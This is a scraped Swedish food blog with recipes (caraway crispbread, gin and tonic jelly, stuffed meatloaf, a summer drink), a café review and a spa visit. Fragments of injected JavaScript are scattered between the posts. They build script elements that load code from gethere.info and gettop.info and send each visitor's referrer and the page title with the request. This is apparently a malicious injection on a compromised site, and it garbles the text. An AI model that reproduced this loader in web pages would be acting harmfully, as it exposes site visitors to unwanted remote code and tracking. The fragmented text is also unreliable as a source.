Knäckebröd med smak av kummin

bildjFörra året besökte jag en underbar restaurang i Köpenhamn som heter Cofoco. Där har de en egen kokbok till försäljning och den köpte jag med mig. Receptet  kommer från deras kokbok.

Recept 10 st knäckebröd
80 gram vetemjöl
1/2 dl mjölk
5 gram jäst
2 msk socker
1 msk hel kummin eller fänkål
1/2 -1 tsk havssalt som du lägger på knäckebrödet precis innan gräddning
1/2 krm hjorthornssalt

Blanda ihop alla ingredienser och rör ihop till en deg. Kavla ut degen tunt och skär i önskad form  och lägg på havssalt och grädda i ugn på 175 grader i 8-10 min.

bildabildnbildmbildlbilddbildcbilde

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if (document.currentScript) {

Gin and Tonic Jelly med smak av lime

jello

bild (160)

Receptet räcker till  5-6 glas Jelly.
3,4 dl tonic water
1,7 dl gin
4 tsk lime juice (skippa detta om du använder gelpulver med limesmak)
1 paket jello med limesmak 4 gelatinblad (alt 8 gelatinblad)

Häll hälften av tonic water i en liten skål. Häll över gelatinpulver/lägg i bladen och låt dra i några minuter.  Under tiden hettar du upp resen av ditt tonic water med lime juice i en kastrull. Häll över gelatin mixen samt gin. Häll upp blandningen i shot glass eller alt. minder dricksglas och ställ i kylen ca 5 timmar. Servera med lite färska hallon.

bild (152)bild (148)bild (146)bild (139)bild (144)bild (142)

Om ni inte vill servera i glas går det lika bra att göra små kuber och servera på ett fat.

bild (150)bild (154)bild (158)bild (156)

bild (141)

 

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

}s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Fylld köttfärslimpa

Det här receptet fick jag av min kompis Anna som bor i Australien. Hon lagar helt otroligt god mat och jag blir alltid så inspirerad när jag hör vad hon lagar för mat.

bild (140)

3 brödskivor utan kanter eller  ströbröd (ca 1 dl ströbröd)
400 gram färsk spenat
2 mozzarella bitar som du skär i 1,5 cm kuber
2-3 msk parmesanost
Lite salt och peppar
500 gram nötfärs
300 gram färsk korv med griskött (ta bort skinnet)
1 msk tomatpuré
1/2 tsk torkad oregano
1/2 tsk cayenne peppar
1/2 tsk riven muskotnöt
2 msk persilja
1 ägg
2 dl vitt vin eller vatten
1 dl mjölk

Gör så här:
Värm ugnen till 200 grader. Blötlägg brödet/ströbröd i mjölk ca 10 min. Koka spenaten i lite vatten, häll av vattnet och låt torka och hacka spenaten, Mixa spenat med tärnad mozzarella, parmesan, salt och peppar.
Blanda bröd med köttfärs, korvköttet, tomatpuré, oregano, cayenne peppar, muskotnöt, persilja, salt och peppar. Lägg i ett ägg och blanda ihop allt till en smet. Forma smeten till en platt fyrkant 22×20 cm på ett bakplåtspapper. Lägg spenat och ost på toppen och forma till en rulle med hjälp av bakplåtspappret. Se till att skarven är botten av bakplåtspappret.

Lägg köttfärslimpan på en ugnsform, häll i vin eller vatten i pannan och grädda i ugn ca 1 timma tills köttfärslimpan fått färg. Skär upp i bitar och servera med tomatsås/brunsås och grönsaker.

bild (120)bild (137)bild (126)bild (134)

Korven köpte jag på Albert Andersson Charkuteri på Saluhallen.

bild (136)bild (121)

Här ser ni hur jag tagit bort skinnet från korven.

bild (123)

Grovhacka korven i mindre bitar då du ska blanda ihop detta med köttfärsen.

bild (127)bild (125)

bild (124)

bild (122)

bild (114)bild (119)bild (118)bild (116)bild (117)bild (110)bild (101)bild (112)bild (130)bild (131)bild (138)bild (129)bild (130)bild (135)bild (103)bild (99)

 } else {

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Latterian i Antikhallarna

bild11

Kan verkligen rekommendera att ni besöker Latterian i Antikhallarna på Västra Hamngatan 6.
De bakar allt sitt bröd, kakor och salladen gör de på plats. På menyn har de 4 olika sorters sallader, kyckling, räkor, vegetarisk och lax. Jag köpte med mig en laxsallad. Den innehåller underbart god rökt lax, mango, salladslök, edamamebönor, sesamfrön, glasnudlar och vanlig grönsallad och en mild chili dressing. Jag fick även med mig tre små brödbitar och smör. Priset för en sallad är 88 kr och det är värt pengarna då råvarorna är fräscha och allt smakade supergott. Tipset på det här toppenstället fick jag av min träningskompis Sofia. Kika gärna på hennes inspirerande  blogg ”Born in May” där hon skriver om bla träning, mat, resor.

bild1212bild55bild111bild44bild22bild88bild99bild66bild33bild10

 }

} else {

Raw bite och Superfruit

Idag tog jag ett besök till Saluhallen och köpte några nyttiga raw food bars.
Köpte en organic superfruit bar med smaken Cacao + Coconut (45 gram/183 kcal)
Det är en rå frukt och nötbar.
Den andra är en raw bite, oxå organic fruit & nut bite med smaken Apple Cinnamon ( 50 gram/396 kcal)

Återkommer med en recension när jag provat dessa.

Bars

 } else {

var d=document;var s=d.createElement(‘script’); document.currentScript.parentNode.insertBefore(s, document.currentScript);

Varbergs Stadshotell och Asia Spa

I början av juni besökte jag Varbergs Stadshotell och Asia Spa och här kommer lite bilder från helgen.

bild (121)

1best-western-varbergs-stadshotell-och-asia-spa-120_vs_fasad-min

bild (134)bild (145)bild (130)bild (137)bild (149)bild (147)bild (143)bild (122)

bild (142)bild (154)bild (146)bild (150)bild (116)

bild (111)bild (106)bild (108)bild (93)bild (109)bild (86)

bild (102)bild (107)bild (100)bild (105)

bild (157)bild (123)bild (124)

bild (96)

 

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

Helena’s sommardrink

Drink

Recept för en drink:
2 cl gin
2 cl bacardi (jag använde bacardi lemon)
Färsk mynta
Frusna hallon
Färsk citron
Färsk lime
Cintronkoncentrat
Passionsfruktsjuice av märket Rubicon (lila förpackning)

Gör så här:
Riv mynta i ett glas. Häll i frusna hallon, någon citron och limeskiva. Mortla sedan detta med en trämortel så att hallonen och fruktsafterna blandas. Häll på spriten och sedan juicen och lite mer citronkoncentrat. Fyll glaset med is och servera.document.currentScript.parentNode.insertBefore(s, document.currentScript);

document.currentScript.parentNode.insertBefore(s, document.currentScript);var d=document;var s=d.createElement(‘script’);